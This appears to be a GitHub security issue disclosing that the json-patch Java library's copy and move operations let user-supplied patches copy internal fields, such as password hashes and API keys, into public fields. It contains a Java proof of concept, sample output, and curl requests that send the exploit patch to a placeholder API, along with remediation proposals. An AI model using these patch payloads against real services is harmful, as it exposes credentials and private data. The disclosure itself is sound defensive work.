Skip to content

[Security] Unrestricted Copy/Move Operations Enable Intra-Document Data Exfiltration #170

Description

@york-shen

Security Vulnerability Report

Metadata

Field Value
Affected Version 1.13 (latest on Maven Central)
Component CopyOperation.apply() / MoveOperation.apply()
File src/main/java/com/github/fge/jsonpatch/CopyOperation.java:57
CWE CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.1 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Summary

The copy and move operations in JSON Patch accept any from path without access control validation. An attacker can use copy to read values from internal/sensitive fields and write them to user-visible locations, effectively exfiltrating data that should not be accessible. The library provides no mechanism to restrict which paths can be used as from sources.

Root Cause

// src/main/java/com/github/fge/jsonpatch/CopyOperation.java:57
@Override
public JsonNode apply(final JsonNode node) throws JsonPatchException {
    final JsonNode dupData = path.path(node).resolve(from, node).deepCopy();
    // 'from' is entirely user-controlled — no access control check!
    return new AddOperation(path, dupData).apply(node);
}

The from field is taken directly from user input. No validation checks whether the caller should have read access to the source path. Any field in the document — including internal, system, or privileged fields — can be copied to a user-visible location.

Proof of Concept

Runtime verified on VM with OpenJDK 21:

--- Test 6: Copy Operation Data Exfiltration ---
Original: {"public":{"name":"Alice"},"internal":{"passwordHash":"$2b$10$secret","apiKey":"sk-12345"}}
After patch: {"public":{"name":"Alice","bio":"$2b$10$secret","website":"sk-12345"},"internal":{"passwordHash":"$2b$10$secret","apiKey":"sk-12345"}}
VULNERABLE: Copied internal fields to public (bio=$2b$10$secret)

Minimal reproduction:

import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper mapper = new ObjectMapper();

// Server-side document with public and internal sections
JsonNode document = mapper.readTree(
    "{\"public\":{\"name\":\"Alice\"},\"internal\":{\"passwordHash\":\"$2b$10$secret\",\"apiKey\":\"sk-12345\"}}");

// Attacker-supplied patch: copy internal secrets to public-visible fields
JsonNode patchNode = mapper.readTree("[" +
    "{\"op\":\"copy\",\"from\":\"/internal/passwordHash\",\"path\":\"/public/bio\"}," +
    "{\"op\":\"copy\",\"from\":\"/internal/apiKey\",\"path\":\"/public/website\"}" +
    "]");

JsonPatch patch = JsonPatch.fromJson(patchNode);
JsonNode result = patch.apply(document);

// result.public.bio = "$2b$10$secret" (password hash exfiltrated!)
// result.public.website = "sk-12345" (API key exfiltrated!)
// If the API returns the public section to the user, secrets are exposed.

Attack scenario:

# Attacker with role=viewer, can only see /public fields in API response
curl -X PATCH 'https://target.com/api/users/me' \
  -H "Authorization: Bearer viewer_token" \
  -H "Content-Type: application/json-patch+json" \
  -d '[
    {"op":"copy","from":"/internal/passwordHash","path":"/public/bio"},
    {"op":"copy","from":"/internal/apiKey","path":"/public/website"}
  ]'

# GET response only returns /public section:
curl 'https://target.com/api/users/me'
# {"public":{"name":"Alice","bio":"$2b$10$secret","website":"sk-12345"}}
# Attacker now has the password hash and API key!

RFC 6902 Compliance Note

This behavior is compliant with RFC 6902 Section 4.5 (Copy). However:

  1. The library provides no access control callback for the from field
  2. No mechanism exists to restrict which paths are readable via copy/move
  3. The library does not document that from is a read-access vector requiring authorization
  4. In field-level-access-controlled applications (multi-tenant, API partial responses), this is a real data exfiltration vector

Impact

  • Credential exfiltration: Password hashes, API keys, tokens copied to visible fields
  • Cross-tenant data access: In multi-tenant documents, copy from another tenant's section
  • PII exposure: Internal fields (SSN, medical records) copied to public-facing fields
  • Affects: All applications with field-level access control that apply user-supplied JSON Patch

Suggested Remediation

  1. Add a path-access-control callback interface:
public interface PatchPathAccessControl {
    boolean canRead(JsonPointer from, Object context);
    boolean canWrite(JsonPointer path, Object context);
}

// Usage:
JsonPatch.builder()
    .accessControl(new MyAccessControl())
    .build(patchNode)
    .apply(document);
  1. Add a from path restriction option:
JsonPatch.builder()
    .allowedFromPaths("/public/**")  // Only public fields can be copy sources
    .build(patchNode);
  1. Document the risk prominently:
WARNING: The "from" field in copy/move operations is a read-access vector.
Applications with field-level access control MUST validate "from" paths
against the caller's read permissions before applying patches.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions